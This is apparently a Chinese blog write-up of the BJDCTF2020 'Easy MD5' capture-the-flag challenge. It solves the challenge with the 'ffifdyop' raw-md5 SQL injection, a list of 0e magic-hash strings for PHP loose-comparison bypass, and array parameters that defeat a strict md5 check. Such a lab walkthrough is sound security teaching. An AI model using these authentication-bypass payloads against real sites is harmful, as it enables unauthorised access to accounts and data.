[BJDCTF2020]Easy MD5

这题看题目也知道,主要考察的是md5有关绕过

首先,打开题目有一个输入框

随便输入一些东西,并没有发现什么,于是用bp抓包看看,得到一串暗示

可以使用ffifdyop绕过,因为 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是1select * from ‘admin’ where password=’’ or ‘6xxxxx’ 等价于一个永真式万能密码,从而绕过md5函数

这样又得到了一个页面

查看源码,得到第二层提示

考察的是md5弱类型绕过,常见的md5弱类型有(只要md5后以0e开头,就被认为相等)


QNKCDZO
0e830400451993494058024219903391


s878926199a
0e545993274517709034328855841020


s155964671a
0e342768416822451524974117254469


s214587387a
0e848240448830537924465865611904


s214587387a
0e848240448830537924465865611904


s878926199a
0e545993274517709034328855841020


s1091221200a
0e940624217856561557816327384675


s1885207154a
0e509367213418206700842008763514


s1502113478a
0e861580163291561247404381396064


s1885207154a
0e509367213418206700842008763514


s1836677006a
0e481036490867661113260034900752


s155964671a
0e342768416822451524974117254469


s1184209335a
0e072485820392773389523109082030


s1665632922a
0e731198061491163073197128363787


s1502113478a
0e861580163291561247404381396064


s1836677006a
0e481036490867661113260034900752


s1091221200a
0e940624217856561557816327384675


s155964671a
0e342768416822451524974117254469


s1502113478a
0e861580163291561247404381396064


s155964671a
0e342768416822451524974117254469


s1665632922a
0e731198061491163073197128363787


s155964671a
0e342768416822451524974117254469


s1091221200a
0e940624217856561557816327384675


s1836677006a
0e481036490867661113260034900752


s1885207154a
0e509367213418206700842008763514


s532378020a
0e220463095855511507588041205815


s878926199a
0e545993274517709034328855841020


s1091221200a
0e940624217856561557816327384675


s214587387a
0e848240448830537924465865611904


s1502113478a
0e861580163291561247404381396064


s1091221200a
0e940624217856561557816327384675


s1665632922a
0e731198061491163073197128363787


s1885207154a
0e509367213418206700842008763514


s1836677006a
0e481036490867661113260034900752


s1665632922a
0e731198061491163073197128363787 


s878926199a
0e545993274517709034328855841020

在框中输入url
?a=QNKCDZO&b=s878926199a

得到下一层提示:

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

MD5强碰撞,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等

所以可以在hackbar中输入param1[]=1&param2[]=2

这样就得到了flag

posted @ 2021-10-26 22:09  Athena-ydy  阅读(75)  评论(0编辑  收藏  举报